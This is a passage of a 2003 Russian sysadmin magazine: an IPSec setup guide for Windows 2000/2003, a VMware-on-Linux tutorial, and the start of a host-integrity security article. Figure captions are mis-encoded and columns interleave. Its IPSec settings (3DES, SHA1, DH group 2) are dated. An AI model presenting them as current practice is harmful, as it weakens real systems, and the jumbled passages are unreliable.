Свойства: Новое правило (New Rule Properties).

Ðèñóíîê 13. Íàçíà÷åíèå àäðåñîâ è èñòî÷íèêà IP-ïàêåòîâ


äëÿ ôèëüòðà.

Ðèñóíîê 15. Çàêëàäêà óïðàâëåíèÿ ìåòîäàìè áåçîïàñíîñòè.


Отмените установку флажка Использовать мастер
(Use Add Wizard) и щелкните <Добавить> (Add). При этом
открывается окно Свойства: Создание действия фильтра
(New Filter Action Properties).
На закладке Методы безопасности (Security Methods)
(см. рис.16) выберите пункт Согласовать безопасность
(Negotiate security) и щелкните <Добавить> (Add), при
этом открывается окно Создать метод безопасности (New
Security Method) (см. рис.17).
Выберите пункт Настраиваемая безопасность
(Custom) и щелкните <Параметры...> (Settings...). При
этом открывается окно Параметры особого метода безо-
пасности (Custom Security Settings), в котором необходи-
мо установить значения, как показано на риc. 18.
Щелкните <OK> в этом окне и окне Создать метод
Ðèñóíîê 14. Âûáîð òèïà ïðîòîêîëà, êîòîðûé äîëæåí
îáðàáàòûâàòüñÿ ôèëüòðîì. безопасности (New Security Method).

58
администрирование
поставьте точку в строке, отображающей только что со-
зданное новое действие фильтра.

Ðèñóíîê 18. Îïðåäåëåíèå êðèïòîãðàôè÷åñêèõ íàñòðîåê


Ðèñóíîê 16. Îïðåäåëåíèå ìåòîäîâ áåçîïàñíîñòè, èñïîëüçóåìûõ IPSec-ïðîòîêîëà.
äëÿ ôèëüòðà.
Установка параметров туннеля и типа подключения
Выберите закладку Параметры туннеля (Tunnel Setting)
в окне Свойства: Новое правило (New Rule Properties)
и cохраните заданную по умолчанию настройку Прави-
ло не определяет туннель (This rule does not specify
a tunnel) (см. рис.19).

Ðèñóíîê 17. Ñîçäàíèå ìåòîäà áåçîïàñíîñòè.


В окне Свойства: Создание действия фильтра (см. рис.16)
убедитесь в том, что флажок установлен только на пун-
кте Принимать небезопасную связь, но отвечать с по-
мощью IPSec (Accept unsecured communication, but
always respond using IPSec). На закладке Общие
(General) заполните имя и, если это необходимо, опи-
сание.
Щелкните <OK>. Ðèñóíîê 19. Âûáîð èñïîëüçîâàíèÿ òóííåëèðîâàíèÿ ïðè ñîåäèíåíèè.
На закладке Действие фильтра (Filter Action) в окне Выберите закладку Тип подключения (Connection Type)
Свойства: Новое правило (New Rule Properties) (см. рис.15) в окне Свойства: Новое правило (New Rule Properties)

№6(7), июнь 2003 59


администрирование
(рис. 20). Вы можете выбрать пункт Все сетевые под- Установка метода проверки подлинности
ключения (All network connections), но лучше, если вы Выберите закладку Методы проверки подлинности (Authen-
уверены, выберите конкретный тип: либо Локальное се- tication Methods) в окне Свойства: Новое правило (New Rule
тевое подключение (Local area network (LAN)), либо Уда- Properties) (см. рис. 21). По умолчанию Kerberos устанав-
ленный доступ (Remote access). ливается в качестве метода проверки подлинности.
Щелкните <Добавить> (Add), при этом откроется окно
Свойства: Изменить способ проверки подлинности (New
Authentication Method Properties) (см. рис. 22).

Ðèñóíîê 20. Îïðåäåëåíèå òèïà ïîäêëþ÷åíèÿ äëÿ ïðàâèëà. Ðèñóíîê 22. Çàäàíèå ìåòîäîâ ïðîâåðêè ïîäëèííîñòè äëÿ ôèëüòðà.
Выберите пункт Использовать данную строку для за-
щиты обмена ключами (Use this string to protect the key
exchange (preshared key)) и внесите в окно пароль, кото-
рый будет использоваться для установления защищенной
связи между компьютерами.
Щелкните <OK>.
Удалите из списка методов все, кроме созданного вами.
Щелкните в окне Свойства: Новое правило (New Rule
Properties) <ОК>.
На этом создание нового правила закончено.
Приведем некоторые пояснения для возможных мето-
дов установления доверительных отношений:
Стандарт Windows 2000 Kerberos V5 (Windows 2000
default (Kerberos V5)) – протокол Kerberos задан по умол-
чанию в Windows 2000, и если все участники находятся в
одном домене, это будет лучшим вариантом, поскольку
облегчает конфигурирование.
Использовать сертификат данного Центра серти-
фикации (Use a certificate from this Certificate Authority
(CA)) – безопасность, основанная на применении серти-
фикатов. Можно использовать сертификаты для иници-
ализации защищенного соединения. Они совместимы со
многими системами сертификации.
Использовать данную строку для защиты обмена
ключами (Use this string to protect the key exchange
(preshared key)) – использование предварительно совме-
Ðèñóíîê 21. Îïðåäåëåíèå ìåòîäîâ ïðîâåðêè ïîäëèííîñòè. стно используемых строк является наиболее нежелатель-

60
администрирование
ным методом обеспечения безопасности, если строка При этом откроется окно Методы безопасности при
будет сфальсифицирована, невозможно гарантировать обмене ключами (Key Exchange Security Methods), в кото-
конфиденциальность. Однако подобный метод можно ис- ром нужно удалить все строки (см. рис. 25), кроме одной
пользовать в том случае, если поддерживаются внешние с параметрами:
операционные системы или устройства.  Тип (Type) – IKE;
 Шифрование (Encryption) – 3DES;
Редактирование общих настроек  Целостность (Integrity) – SHA1;
политики безопасности IP  Группа Диффи-Хелмана (Diffie-Hellman ...) – Средняя (2).
Выберите закладку Общие (General) в окне Свойства (New
IP Security Policy Properties) (рис. 23).

Ðèñóíîê 25. Îêíî óïðàâëåíèÿ ìåòîäàìè áåçîïàñíîñòè


ïðè îáìåíå êëþ÷àìè.

Заключение
В статье описаны основополагающие моменты, связанные
Ðèñóíîê 23. Îêíî îáùèõ ñâîéñòâ ïîëèòèêè áåçîïàñíîñòè IP. с настройкой IPSec-соединения между двумя компьютера-
Поля Имя (Name) и Описание (Description) уже запол- ми на базе операционных систем Windows 2000, 2003. Даль-
нены на этапе создания политики безопасности. нейшими путями расширения реализации IPSec могут быть:
Убедитесь, что в поле Проверять политику на нали-  Использование возможностей работы с IPSec под уп-
чие изменений каждые: (Check for policy change every:) равлением домена.
записано значение 180 мин. и щелкните кнопку <Допол-  Развертывание инфраструктуры открытых ключей
нительно...> (Advanced...). При этом открывается окно Па- (public key infrastructure – PKI).
раметры обмена ключами (Key Exchange Settings).
Установите параметры, как показано на рисунке ниже Эти действия повлекут изменения в методах провер-
(см. рис. 24), и щелкните <Методы…> (Methods...). ки подлинности и повысят уровень безопасности при ус-
тановлении сеансов защищенных соединений.
Отметим, что IPSec предполагает два варианта сете-
вого соединения: транспортный и туннельный.
При транспортном – заголовок IP-пакета (в том числе
и IP-адрес) не изменяются. Заголовок IPSec вставляется
между заголовком IP и остальными заголовками или, со-
ответственно, данными. При таком способе передачи из-
менения затрагивают только транспортный уровень па-
кета IP, а собственно данные пакета смогут быть аутен-
тифицированы и/или зашифрованы.
При туннельном варианте изменяется весь пакет IP.
Защита распространяется на заголовок IP и данные, при-
чем вместо исходного создается новый заголовок IP с
другими IP-адресами.
В данной статье описывается наиболее простой –
Ðèñóíîê 24. Îêíî ïàðàìåòðîâ îáìåíà êëþ÷àìè. транспортный вариант использования IPSec.

№6(7), июнь 2003 61


администрирование
Для случая, если защищенный трафик должен про- Pretty Good Privacy (PGP) – дословный перевод «До-
ходить через сервер NAT (Network Address Translation), вольно хорошая секретность». Пакет программ, первона-
который производит замену IP-адресации, то необходи- чально разработанный Филлипом Циммерманом (Phillip
мо отказаться от использования протокола AH и задей- Zimmerman), представляющий собой систему шифрова-
ствовать только протокол ESP. ния с открытым ключом. Ее последняя версия основана
Дальнейшим усилением VPN может быть использование на запатентованной технологии RSA.
Layer Two Tunneling Protocol (L2TP) – протокола туннелиро- Virtual Private Network (VPN) – виртуальная частная
вания второго уровня. В данном случае настройки предпо- сеть представляет собой туннель поверх общедоступной
лагаются более сложные по схеме защищенной связи: сетевой инфраструктуры, такой как Интернет. VPN – за-
щищенное сетевое соединение, при котором туннелиру-
êëèåíò<->ñåðâåð <-> ñåðâåð<->êëèåíò ется зашифрованный сетевой трафик.
Kerberos – протокол безопасной аутентификации
При установлении сеанса L2TP происходят следующие промышленного стандарта, подходящий для распреде-
действия: лённых вычислений через общедоступные сети. Описан
 Если клиент связывается с туннельным сервером VPN, в RFC1510 (1993 год). Протокол аутентификации реали-
используя тип подключения, определенный как L2TP, зован в Windows 2000. У Kerberos несколько преимуществ,
клиент автоматически создает политику IPSec, если наиболее важное из которых, вероятно, возможность пе-
она еще не установлена для данного клиента. репоручать аутентификацию другим компьютерам, также
 Если политика IPSec уже создана, протокол L2TP просто поддерживающим Kerberos, даже тем, которые работают
внедряет правило безопасности, которое защищает весь под управлением других операционных систем. Это об-
трафик. При этом используются настройки безопаснос- легчает наращивание веб-сайта с использованием раз-
ти, которые определены с помощью имеющейся полити- ных машин веб-серверов и серверов базы данных. Пре-
ки. Если для системы не установлены политики IPSec, дыдущие решения, такие как реализация всех служб на
протокол L2TP создает собственное правило безопас- одной машине, выполнение всех клиентских запросов в
ности IPSec. В этом случае IPSec фильтрует трафик и едином контексте защиты или жесткое программирова-
приводит к установке соглашения по обмену ключей. ние передачи функций защиты в файлах скриптов, не спо-
 Устанавливается туннельное соглашение L2TP, вслед- собствовали усилению архитектуры защиты.
ствие чего IPSec защищает трафик туннельного конт- IPSec – протокол безопасности, предоставляющий воз-
роля, а также данные, передаваемые с помощью этого можность для организации защищенного соединения
туннеля. С помощью идентификатора и пароля пользо- (VPN). Описан RFC2401 (1998 год). Представляет собой
вателя протокол L2TP производит аутентификацию сер- набор связанных протоколов. IPSec образован тремя ос-
вера VPN. При использовании смарт-карты производит- новными компонентами:
ся аутентификация на основе сертификата.  Протокол обмена ключами Интернет (Internet Key
Exchange, IKE);
В печати недавно появилась информация о том, что в  Заголовок аутентификации (Authentication Header, AH);
США под эгидой АНБ ведутся работы по развитию прото-  Безопасное вложение IP-пакетов (Encapsulating Security
кола IPSec High-Assurance Internet Protocol Encryption Payload, ESP).
(HAIPE). HAIPE позволяет выполнять обмен ключами меж-
ду системами, применяющими разные алгоритмы шиф- Encapsulating Security Payload (ESP) – протокол ин-
рования. Как отмечают специалисты, цель разработки капсулированной защиты IP. Вместе с протоколом AH яв-
HAIPE – обеспечение возможности обмена алгоритмами ляются криптографической основой протокола IPSec. Про-
шифрования между различными программными и аппа- токол ESP предназначен для проверки аутентичности и
ратными криптосистемами. целостности пакетов, обеспечения конфиденциальности
данных с помощью выполнения процедур шифрования.
Глоссарий Описан в RFC2406 (1998 год).
Криптография – область защиты информации, в кото- Authentication Header (АН) – протокол заголовка
рой рассматриваются вопросы создания алгоритмов шиф- аутентификации IP. Вместе с протоколом ESP являются
рования, электронной цифровой подписи, хэширования, основой протокола IPSec. Предназначен для проверки
выработки имито-вставки и т. п. с целью обеспечения га- аутентичности и целостности пакетов. Описан в RFC2402
рантий секретности и/или достоверности сообщений. (1998 год).
Функция хэширования – действие функции хэширо- Data Encryption Standard (DES) – алгоритм шифрова-
вания заключается в сопоставлении произвольного на- ния. Работает с 56-битным ключом, обрабатывает 64-бит-
бора данных в виде последовательности двоичных сим- ный блочный текст. Разработан IBM и Агентством нацио-
волов и его образа фиксированной небольшой длины, что нальной безопасности США. Стандарт закреплен в ANSI
позволяет использовать эту функцию в процедурах элек- X3.106, «American National Standard for Information Systems-
тронной цифровой подписи для сокращения времени под- Data Link Encryption» в 1983 году.
писи и проверки подписи. Эффект сокращения времени Triple Data Encryption Standard (3DES) – усложнен-
достигается за счет вычисления подписи только под об- ный алгоритм на основе DES. Тройное использование DES
разцом подписываемого набора данных. и трехкратное усиление ключевой системы.

62
администрирование
Secure Hash Algorithm (SHA1) – функция хэширова- Windows 2000 Server. Информационный документ
ния. Алгоритм определен в 1994 году FIPS PUB 180-1. Ре- Microsoft. <http://www.networkdoc.ru/files/insop/win2000/
зультатом обработки является 20-байтовая (160-битовая) w2k_ipsecurity.doc>.
величина. 7. Аутентификация по протоколу Kerberos в Windows 2000.
MD5 (Message Digest 5) – функции хэширования. Ал- Информационный документ Microsoft. <http://www.net-
горитм определен в 1992 году RFC1321. Результатом об- workdoc.ru/files/insop/win2000/w2k_kerberos.doc>.
работки является 16-байтовая величина. 8. IPSec, NAT, брандмауэры и VPN. Альфред Брот.
<http://www.osp.ru/lan/2003/01/024.htm>.
9. Улучшенный вариант IPSec.
Ссылки <http://www.osp.ru/nets/2003/04-05/000_15.htm>.
1. Security Architecture for the Internet Protocol. RFC2401 10. Развертывание сети VPN. Павел Покровский.
November 1998. http://www.rfc-editor.org/cgi-bin/rfcdoc- <http://www.osp.ru/lan/2003/01/020.htm>.
type.pl?loc=RFC&letsgo=2401&type=ftp&file_format=txt. 11. IpSec соединение между FreeBSD и Windows 2000. Ста-
2. IP Authentication Header. RFC2402 November 1998. нислав Лапшанский. <http://www.opennet.ru/base/net/
<http://www.rfc-editor.org/cgi-bin/rfcdoctype.pl?loc=RFC& bsd_win_vpn.txt.html>.
letsgo=2402&type=ftp&file_format=txt>. 12. VPN-технологии защищенного обмена конфиденциаль-
3. IP Encapsulating Security Payload (ESP). RFC2406 ной информацией. C.Петренко. <http://www.cinfo.ru/CI/
November 1998. <http://www.rfc-editor.org/cgi-bin/ CI_219_35/InfSecurity/VPN_219.htm>.
rfcdoctype.pl?loc=RFC&letsgo=2406&type=ftp&file_format=txt>. 13. Безопасность в Windows XP. Камилл Ахметов.
4. Проектирование виртуальных частных сетей в среде <http://bytemag.ru/Article.asp?ID=604>.
Windows 2000. Тадеуш Фортенбери, Издательский дом 14. Глобальный доступ в частные сети. Ярослав Городец-
«Вильямс», 2002 год. кий, Алексей Клочков. <http://www.setevoi.ru/cgi-bin/
5. Новые технологии и оборудование IP-сетей. В.Олифер, textprint1.pl/magazines/2000/11/42>.
Н.Олифер, BHV – Санкт – Петербург; Серия: Мастер 15. Отказоустойчивость, анализ и настройка безопаснос-
(“BHV“), 2000 год. ти и IPSec. Dan DiNicolo. <http://www.networkdoc.ru/
6. Поддержка протокола безопасности IP в Microsoft trainers2000/print.html?win2000/article12.html>.

№6(7), июнь 2003 63


администрирование

ВИРТУАЛЬНЫЙ
КОМПЬЮТЕР

ДЕНИС КОЛИСНИЧЕНКО

64
администрирование
В этой статье мы поговорим о лучшем, на мой взгляд, темы. Перечисленные выше операционные системы яв-
эмуляторе VM Ware. ляются гостевыми, то есть их можно установить в VM
Как и у любого пользователя, мигрировавшего на Ware, работающий под управлением основной опера-
Linux, у меня осталось несколько программ в мире ционной системы. В качестве основной операционной
Windows. Кому же хочется несколько раз в день перезаг- системы могут выступать операционные системы Linux
ружать операционную систему (хотя, работая с Windows и Windows NT/2000.
98, это неизбежно)? Поэтому я начал искать какой-нибудь Эмулятор позволяет одновременно запускать две ОС –
эмулятор, который бы позволил, не выгружая Linux, за- одна будет выполняться на нормальном компьютере, а
пускать Windows-программы. От эмулятора много не тре- вторая – в виртуальном, в среде VM Ware. Например, ра-
бовалось: только запуск Delphi и MS Office (разумеется, ботая в Linux, вы можете запустить операционную систе-
кроме запуска нужно, чтобы эти программы нормально му Windows в эмуляторе как обыкновенное приложение,
работали). Свой поиск я начал с установленного на моей и переключаться между операционными системами как
машине дистрибутива. Практически в любом дистрибу- между обыкновенными окнами.
тиве можно найти эмулятор wine. Но он оказался не толь- Я тестировал следующие гостевые операционные
ко неудобным, но и вообще непригодным для использо- системы:
вания. В эмуляторе «со скрипом» работал Блокнот, а на  Windows 95/98;
запуск WinAMP ушла целая вечность, при этом последний  Windows NT 4 Server;
заикался и картавил. Все попытки русифицировать тот  Linux.
же Блокнот не увенчались успехом. Сами понимаете, о
запуске Delphi или MS Word вообще не может быть и речи. Что мне понравилось – так это надежность. Ни разу за
Через некоторое время мне попался «под горячую руку» весь период эксплуатации Windows 98 у меня не завис. А
эмулятор wineX, но кроме как для запуска Windows-игрушек, виртуальный Linux работал в качестве шлюза и отлично
он больше ни на что непригоден. Относительно него могу справлялся с поставленной задачей.
сказать: да, игры запускались, но не все, а те, которые запу- Что не понравилось – скорость работы, особенно опе-
стились, медленно работали. Было бы несправедливо с моей рационной системы Windows NT Server. При работе с
стороны забыть об эмуляторе Win4Lin. Это довольно доб- Windows 95/98 мой виртуальный компьютер работал со
ротный эмулятор, позволяющий запускать самые популяр- скоростью неплохого Intel Pentium 166 Mhz 32MB RAM, хотя
ные Windows-программы, например, MS Office 2000/XP, VM Ware создал такую виртуальную конфигурацию: Intel
Photoshop, Corel Draw. Стоит отметить высокую производи- Celeron 400 Mhz 64 MB RAM.
тельность эмулятора по сравнению с другими продуктами. Работая под Windows 95/98, меня вполне устроила про-
Но у меня как-то не сложились отношения с Win4Lin. изводительность приложений:
Почему-то он мне не понравился: может быть, повлияли не-  Delphi 3 Client/Server Suite;
которые ограничения третьей версии, которые были позже  MS Office 97/2000;
устранены в новой, четвертой, версии, а может быть неболь-  WinAMP;
шие проблемы при установке. Но, наверное, самой весомой  The Bat!
причиной была месяц назад установленная вторая версия
VM Ware. Сейчас уже появилась версия VMWare 3.2, в кото- Кроме этих приложений я запускал Corel Draw и 1С: Пред-
рой устранены многие ограничения второй версии. Относи- приятие, но ничего конкретного сказать об их работе не
тельно эмулятора Win4Lin могу сказать: очень хороший про- могу, поскольку запустить-то я их запустил, но больше
дукт, а то, что мне больше понравился VM Ware, является не работал с ними. Вообще в эмуляторе запускаются и
только моим субъективным мнением: о вкусах не спорят. нормально работают все офисные приложения, то есть
Установите Win4Lin, может быть, он станет первым и един- те приложения, которые не требуют функций DirectX.
ственным Windows-эмулятором на вашем компьютере. Относительно игрушек могу сказать лишь одно: уста-
Чем же хорош VM Ware? В самом начале статьи я на- новите нормальную версию Windows 98 только для игр,
писал, что VM Ware – это эмулятор Windows. Простите, я игра в эмуляторе (в любом) вам не доставит никакого
вам соврал. VM Ware – это нечто большее, чем просто удовольствия.
эмулятор форточек. Представьте себе некий виртуальный Для чего нужна VM Ware, вы уже поняли. Кроме того,
компьютер, в который можно установить следующие опе- VM Ware – это настоящая находка для разработчика про-
рационные системы: граммного обеспечения и системного администратора.
 Windows 95; Первый может разрабатывать приложение, работая в
 Windows 98/SE/ME; Windows 2000, а потом без перезагрузки сразу же проте-
 Windows NT 4 Server/Workstation; стировать его работу в Windows 98. Системный админис-
 Windows 2000/XP; тратор может протестировать настройки своего сервера,
 FreeBSD; запустив виртуальный компьютер-клиент. Специально для
 Linux (да, даже Linux). этого виртуальный компьютер может работать в одном
из трех основных режимах доступа к сети:
Именно эти операционные системы поддерживает  Без сети;
эмулятор VM Ware. В мире VM Ware есть два термина:  Host-only networking;
основная (host) и гостевая (guest) операционныe сис-  Bridged networking.

№6(7), июнь 2003 65


администрирование
Существует еще и комбинированный метод доступа к
сети – Bridged and Host-only Networking, который сочетает
сразу два метода доступа к сети – второй и третий.
Первый режим нас вообще не интересует и не будет
рассмотрен.
Если вы выбрали второй режим, Host-only networking,
то ваш виртуальный компьютер будет виден только во внут-
ренней сети VM Ware, созданной с помощью модуля vmnet.
Этот режим нужно выбрать, если вы не подключаетесь к
локальной сети: тогда в виртуальной сети будут два ком-
пьютера – настоящий и из мира Матрицы. Если вы выбе-
рете этот режим и подключитесь к локальной сети, то ваш
виртуальный компьютер будет видеть все узлы локальной Ðèñ. 1. Ðåãèñòðàöèÿ ýìóëÿòîðà.
сети, но ни один узел сети не будет видеть его – будет ви- Установите VM Ware командой:
ден только ваш реальный компьютер. Шлюзом для вирту-
ального компьютера будет выступать настоящий. rpm –ihv VMware-workstation-3.2.0-2230.i386.rpm
В третьем режиме ваш виртуальный компьютер будет
видеть все узлы, и все узлы будут видеть его и думать, После установки VM Ware запустите программу
что он является реальным узлом. Тогда виртуальному ком- vmware-config.pl. Обе эти команды нужно вводить, заре-
пьютеру потребуется присвоить имя, которое желатель- гистрировавшись как пользователь root. Скрипт vmware-
но прописать в DNS-сети. Этот режим является оптималь- config.pl предложит вам откомпилировать модули. Если
ным при работе в сети. же нужные модули будут найдены в каталоге /usr/lib/
Прежде чем перейти к установке и настройке, нужно vmware/modules/binary, они будут скопированы в каталог
сказать о системных требованиях эмулятора. Для более /lib/modules.
или менее комфортной работы с гостевой операционной
системой вам потребуются:
 Процессор с частотой не менее 400 Mhz (чем больше,
тем лучше).
 Не менее 64 Мб оперативной памяти (я вообще реко- Просто нажмите Enter в знак вашего согласия. Затем
мендую установить 128 Мб). скрипт спросит вас, где хранятся файлы заголовков. По
 Свободное место на винчестере для гостевой опера- умолчанию используется каталог /usr/src/linux/include.
ционной системы и для самого эмулятора (занимает
довольно немного места).
 $300.
Здесь также нажмите Enter. После этого программа
С первыми тремя требованиями ваш компьютер, не попытается собрать модуль vmnet. Если модуль будет ус-
сомневаюсь, справится. А вот как насчет последнего? пешно откомпилирован, программа повторит первые два
Именно столько стоит лицензия на VM Ware. вопроса, но для модуля vmppuser.
Вот теперь можно приступить к настройке эмулятора. Затем вам будет задан ряд вопросов, например, хоти-
Заходим на сайт www.vmware.com и загружаем пакет те ли включить поддержку сети. Самый первый вопрос
VMware-workstation-3.2.0-2230.i386.rpm. Версия 3.2 является будет звучать так:
самой новой на момент написания этих строк. Она зани-
мает около 12 Мб, для ее работы нужно ядро 2.4.*, если,
конечно, вы работаете под Linux. Вы можете загрузить вто- Если вы хотите включить поддержку сети (очень реко-
рую версию эмулятора – она весит около 6 Мб, но для ее мендую!), вам нужно ответить yes на этот вопрос. После
работы необходимо ядро 2.2.*. Кстати, вариант VM Ware 2 этого вы увидите два сообщения: из первого мы узнаем,
+ ядро 2.2 является оптимальным для не очень быстрой что конфигуратор создал интерфейс vmnet0 для работы
машины, например, Intel Celeron < 400 Mhz и 64 Мб ОЗУ. в режиме Bridged Networking, а из второго – что был со-
Можно также загрузить откомпилированные модули здан интерфейс vmnet8 для работы в режиме NAT.
для вашего ядра, но я не рекомендую этого делать. Луч- Затем вам будет предложено использовать неисполь-
ше перекомпилировать модули под ваше ядро. Для этого зуемую сеть для виртуального компьютера. Откажитесь
вам потребуются установленные исходные тексты ядра и от этой возможности, ведь мы же хотим поместить его в
нормально работающий компилятор gcc. нашу реальную сеть.
После загрузки программы необходимо зарегистриро-
ваться и получить лицензию. Для версии 2.0 – это файл
license_XXXXXX_XXX, который нужно поместить в ката- После этого введите IP-адрес виртуального компью-
лог ~/.vmware, а для версии 3.0 – это ключ, который надо тера и маску сети:
ввести по просьбе программы. Письмо с файлом лицен-
зии или ключом придет на ваш почтовый ящик.

66
администрирование
Не нужно использовать первый IP-адрес (например, конфигурации VM Ware – виртуальной машины. Правда,
192.168.1.1), поскольку он будет назначен основному ком- это окошко вы увидите только после ввода серийного но-
пьютеру. После этого вас спросят, хотите ли вы включить мера. Вам доступны три режима продолжения работы:
поддержку Host-only networking.  Run Configuration Wizard
 Run Configuration Editor
 Open an Existing Configuration
Если ваша машина не подключена к локальной сети,
Host-only networking – это единственный способ связи Мастер конфигурации (Configuration Wizard) позволя-
между вашими машинами, поэтому не стоит отказывать- ет быстро создать новую конфигурацию – через пару щел-
ся от него. В случае положительного ответа, конфигура- чков мыши у вас будет еще один компьютер, правда, вир-
тор настроит интерфейс vmnet1 для работы в режиме Host- туальный. Редактор конфигурации (Configuration Editor)
only networking. позволяет более точно настроить вашу конфигурацию.
Следующий вопрос: Выбрав третий режим, вы можете открыть существу-
ющую конфигурацию, но пока нам открывать нечего.
Запускаем Мастера и следуем его указаниям. Мастер
предложит вам:
Если вы ответите да, будут установлены сервер DHCP  Выбрать тип гостевой операционной системы.
и пакет Samba для организации доступа виртуальных  Выбрать каталог, в котором будут находиться файлы
машин к вашей файловой системе. В качестве сервера виртуальной машины. Чтобы было меньше проблем с
Samba будет использоваться ваш основной компьютер – правами доступа, укажите подкаталог вашего домаш-
192.168.1.1. В случае если на вашем компьютере уже ус- него каталога. Естественно, если вы – root, то вам мож-
тановлен и настроен пакет Samba, не рекомендуется от- но использовать любой каталог, хоть /var.
вечать «Да» на этот вопрос.  Выбрать тип жесткого диска и установить его размер.
Вам также будет задан вопрос о средстве выбора ре-  Выбор привода CDROM виртуального компьютера.
жима работы сети виртуальной машины: wizard или editor.  Выбор режима доступа к сети – Host-only networking
Пока введите wizard, а позже, когда узнаете, о чем шла или Bridged networking. Это окно появится только в том
речь, сможете переконфигурировать VM Ware (или про- случае, если вы при настройке VM Ware с помощью
чтите всю статью до конца). vmware-config ввели wizard в ответ на вопрос о сред-
Затем вам будет предложено прочесть лицензию на стве конфигурации режима сети. Если вы при настрой-
DHCP-сервер и установить параметры VM Ware Samba. В ке выбрали editor, вы сможете изменить тип виртуаль-
качестве имени пользователя введите имя, под которым вы ной машины с помощью Редактора конфигурации.
обычно регистрируетесь в системе, пароль введите тот же:

Вы можете добавить несколько пользователей сразу.

Ðèñ. 2. Âûáîð âèðòóàëüíîé ìàøèíû.


Теперь ваш VM Ware готов к работе. Далее нам пред- Ðèñ. 3. Âûáîð ÎÑ äëÿ âèðòóàëüíîãî êîìïüþòåðà.
стоит сконфигурировать виртуальную машину. Запусти- Будто бы ничего сложного, но мы подробнее остано-
те систему X-Window, если она у вас еще не запущена, и вимся на выборе диска и устройства CDROM. Вы можете
введите команду vmware в окне терминала. Эмулятор про- выбрать виртуальный диск (New Virtual Drive) или исполь-
верит видеорежим и отобразит на экране окошко выбора зовать существующий физический диск машины (Existing

№6(7), июнь 2003 67


администрирование
Physical Disk). В первом случае в каталог, который вы вве- При выборе CDROM вам нужно ввести имя устройства,
ли на втором шаге Мастера, будет помещен файл с рас- например, /dev/cdrom или /dev/hdd, если CDROM подклю-
ширением .dsk и именем вашей виртуальной машины. Ис- чен как Secondary Slave. Включите режим Start with
пользование виртуального диска – это самое оптимальное CDROM connected, если хотите, чтобы CDROM был дос-
решение. Использовать реальный диск очень не рекомен- тупен при запуске виртуальной машины.
дую, так как файлы гостевой системы будут расположены Все! Вот теперь вы можете нажимать кнопку Power On
прямо в каталогах вашей основной операционной систе- и устанавливать Windows. Перед установкой желательно
мы. С одной стороны, это удобно, так как можно получить запустить Редактор конфигурации и изменить некоторые
доступ к файлам виртуальной машины без ее запуска, но параметры на свой вкус. Помните, что для работы каких-
лучше не рисковать и использовать виртуальный диск – в либо устройств в виртуальной машине нужно, чтобы Linux
крайнем случае, если что-то случится с виртуальным дис- поддерживал эти устройства, поэтому не удивляйтесь,
ком, файлы физического диска не будут повреждены. если в виртуальной машине не будет работать ваш
Когда вам будет предложено ввести размер жесткого Windows-модем, который вы так и не смогли заставить
диска, не изменяйте максимальное значение: VM Ware работать в Linux.
создаст файл размером 3k, который будет расти по мере При установке Windows выберите тип видеоадаптера
необходимости. А вот если вы укажите точный размер VGA 640x480x16. Затем, после установки, выполните ко-
диска, например, 1024 Mb, у вас на диске появится файл манду меню VM Ware Settings, VM Ware Tools Install. Пос-
размером в 1 Gb. В версии 2.0 существовало ограниче- ле этого на вашем виртуальном дисководе появится вир-
ние на максимальный размер диска – 2000 Mb. В более туальная дискета, на которой как раз и будет драйвер для
поздних версиях (3.0, 3.2) это ограничение снято. видеоплаты. Отройте «Ваш Компьютер» и запустите про-
грамму VMWare Tools с вашей виртуальной дискеты. Те-
перь запустите панель управления Windows и измените
драйвер видеоплаты. При выборе драйвера выберите ус-
тановку с диска и введите A:\WIN9X.
Если вы выбрали Host-only networking, то при настрой-
ке сети те параметры, которые вы ввели при настройке
этого режима с помощью скрипта vmware-config.pl. Напри-
мер, если вы ввели сеть 192.168.1.0, но именно эту сеть
вам нужно указать в параметрах TCP/IP (ее маска
255.255.255.0). Шлюзом по умолчанию для вас будет ком-
пьютер 192.168.1.1 – это ваша реальная операционная
система, а виртуальный компьютер получит адрес
192.168.1.2.
Вот теперь уж действительно «все» и вы можете пре-
спокойно работать в Windows, который запущен в окош-
ке KDE (или другого менеджера).
В этой статье я описал лишь базовые настройки
VMWare. Надеюсь, что со все остальные возможности вы
освоите самостоятельно. Все ваши вопросы вы можете
Ðèñ. 4. Çàïóñê âèðòóàëüíîé ìàøèíû. задать мне по адресу dhsilabs@mail.ru.

68
безопасность

Из всех аспектов деятельности системного администратора наиболее интересным и в то же время


самым сложным является обеспечение безопасности существования системы. Эту тему на
различных курсах обычно излагают довольно поверхностно, но защита, определенно, наиболее
важная часть работы, вне зависимости от назначения компьютера и типа операционной системы,
установленной на нем. После того как компьютер станет доступным тысячам пользователей в
Интернете или даже десятку сотрудников в небольшом офисе, придется львиную долю времени
уделять проблеме бесперебойной и стабильной работы сервера, недопущению утечки
конфиденциальной информации. Причем уделять внимание данному вопросу необходимо не
время от времени, а целенаправленно и постоянно. Иначе в один прекрасный день на главной
странице сайта появится надпись, что ваш сайт взломан. И это, кстати, не самое страшное, что
может произойти. По теории защиты написано много книг и много еще будет написано. Это очень
сложная тема, и надеяться, что в одной статье будут даны ответы на все вопросы, тоже не стоит.

СЕРГЕЙ ЯРЕМЧУК

70
безопасность
Начнем, пожалуй, с покупки дистрибутива. Лицензия Linux/ вит или, скорее всего, изменит некоторые программы. При
FreeBSD хоть и позволяет использовать дистрибутив, куп- этом, например, стандартная и довольно часто используе-
ленный на радиорынке, так же, как и купленный офици- мая программа ps может быть заменена на другую с троя-
ально, но доверять веб-сервер стоимостью свыше тыся- ном внутри, а команда ls может не заметить созданные зло-
чи у.е. диску за несколько десятков рублей я бы не стал. умышленником каталоги. Чтобы избежать такого безобра-
Вполне вероятно, что это просто слитый с сайта ISO-об- зия и иметь некоторый инструмент, позволяющий проконт-
раз, записанный на болванку, но точно гарантировать это- ролировать целостность системных файлов, применяются
го никто не может. Кто помешает заменить некоторые па- утилиты, которые автоматически проверяют значения конт-
кеты на доработанные под свои нужды с трояном внутри. рольных сумм файлов и каталогов и заносят их в свою базу
Причем выдумывать самому ничего и не надо, все давно данных. Впоследствии системный администратор может в
уже есть в паутине. Если все же другого выхода нет, или автоматическом режиме сверить оригинальную, созданную
просто есть необходимость в установке программы, не при установке, базу данных с имеющимися в системе фай-
входящей в основной дистрибутив, то всегда его нужно лами и при расхождении контрольных сумм выдать предуп-
проверить на контрольную сумму. На большинстве ftp-ар- реждение по электронной почте. В таком случае можно сра-
хивов рядом с файлом можно найти информацию о конт- зу узнать о вторжении и оценить ущерб. При этом сразу хо-
рольной сумме: либо в отдельном файле, например, чется отметить, что данные средства отнюдь не отменяют,
